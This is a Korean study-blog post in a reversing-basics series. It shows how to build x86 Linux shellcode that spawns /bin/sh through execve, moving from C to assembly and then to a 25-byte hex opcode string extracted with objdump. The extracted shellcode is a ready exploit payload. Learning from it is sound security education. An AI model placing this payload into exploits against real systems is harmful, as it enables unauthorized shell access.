Notice
Recent Posts
Recent Comments
Link
250x250
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- android
- TEST
- 계측
- textview
- Flutter
- Button
- Kotlin
- drift
- Compose
- Dialog
- ScrollView
- Navigation
- tabbar
- viewmodel
- DART
- data
- appbar
- Coroutines
- CustomScrollView
- LifeCycle
- 테스트
- binding
- textfield
- livedata
- scroll
- 앱
- 안드로이드
- activity
- intent
- 앱바
Archives
- Today
- Total
Study Record
[리버싱 기초개념] 쉘 코드 만들기 - 경량 쉘 코드 본문
728x90
※ 사용할 함수 - execve()
#include <unistd.h>
int execve (const char *filename, char *const argv [], char *const envp[]);
/*
다른 프로그램을 실행하고 자신은 종료한다.
리턴값 : 실패일 경우만 -1
filename : 전체 경로명
argv : arg 인수 목록
envp : 환경 설정 목록
*/
char *argv[] = {"/bin/bash", 0};
execve("/bin/bash", &argv, 0);
1. 쉘 코드 만들기 - C언어
# vi myshell.c
#include <unistd.h>
int main()
{
char *bash[] = {"/bin/sh", 0};
execve(bash[0], &bash, 0); /* execve(bash[0], &bash[0], 0); */
}
# gcc -o myshell myshell.c
2. 쉘 코드 작성시 필요한 함수 확인
/usr/include/asm/unistd.h 파일에서 사용할 함수의 시스템 콜(System Call) 번호를 확인한다.
+ 어셈블리어로 작성하기 위해 asm 디렉토리 안에 헤더파일들 중 execve() 함수가 unistd.h 헤더를 참고하기 때문에 /usr/include /asm/unistd.h 파일을 참고했다.
3. 함수 형식에 따라 어셈블리어 코드 작성
# vi myshell.s
.global _start _start: xor %eax, %eax # eax 레지스터 0으로 초기화 xor %edx, %edx # edx 레지스터 0으로 초기화 push %eax # 0(=NULL) push $0x68732f2f # 0x68 : OP code is push , 0x2f2f7368 : "//sh" push $0x6e69622f # 0x68 : OP code is push , 0x2f62696a : "/bin" mov %esp, %ebx # ebx 레지스터에 문자열 "/bin//sh" 주소값 저장 ($/bin//sh) push %edx # 0(=NULL) push %ebx # "/bin//sh" 문자열의 주소 push mov %esp, %ecx # "/bin//sh" 문자열의 주소를 가르키고 있는 주소를 ecx 에 저장 (&($/bin//sh)) movb $0x0B, %al # 0x0B(11) execve() 함수의 호출 번호를 eax 레지스터에 넣는다. int $0x80 # eax에 저장된 함수를 호출하는 인터럽트!! |
eax : 0x0B(execve) ebx : $(/bin//sh) ecx : $($(/bin//sh)) edx : 0 ---------------------------------------- execve($(/bin//sh), $($(/bin//sh)), 0) |
4. 오브젝트 목적 코드 생성 및 실행 파일 생성(as CMD, ld CMD)
※ 명령어 참고 - https://laustudy.tistory.com/61
어셈블리 코드(myshell.s)를 실행파일로 만든다.
# as myshell.s -o myshell.o
# ld myshell.o -o myshell
# ./myshell
5. OP Code 추출(objdump CMD)
※ 명령어 참고 - https://laustudy.tistory.com/61
OP Code로 추출하여 수작업으로 16진수로 뽑아낸다.
# objdump -d ./myshell
직접 수작업으로 뽑아낸 쉘 코드는 다음과 같다.
char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
728x90
'리버싱 > 기초 개념' 카테고리의 다른 글
[리버싱 기초개념] 에그 쉘 (eggshell) (0) | 2021.11.21 |
---|---|
[리버싱 기초개념] 메모리 보호기법 (0) | 2021.11.18 |
[리버싱 기초개념] 공유메모리 (0) | 2021.11.17 |
[리버싱 기초개념] 포맷 스트링 공격 구문 (0) | 2021.11.17 |
[리버싱 기초개념] 버퍼 오버플로우 (0) | 2021.11.16 |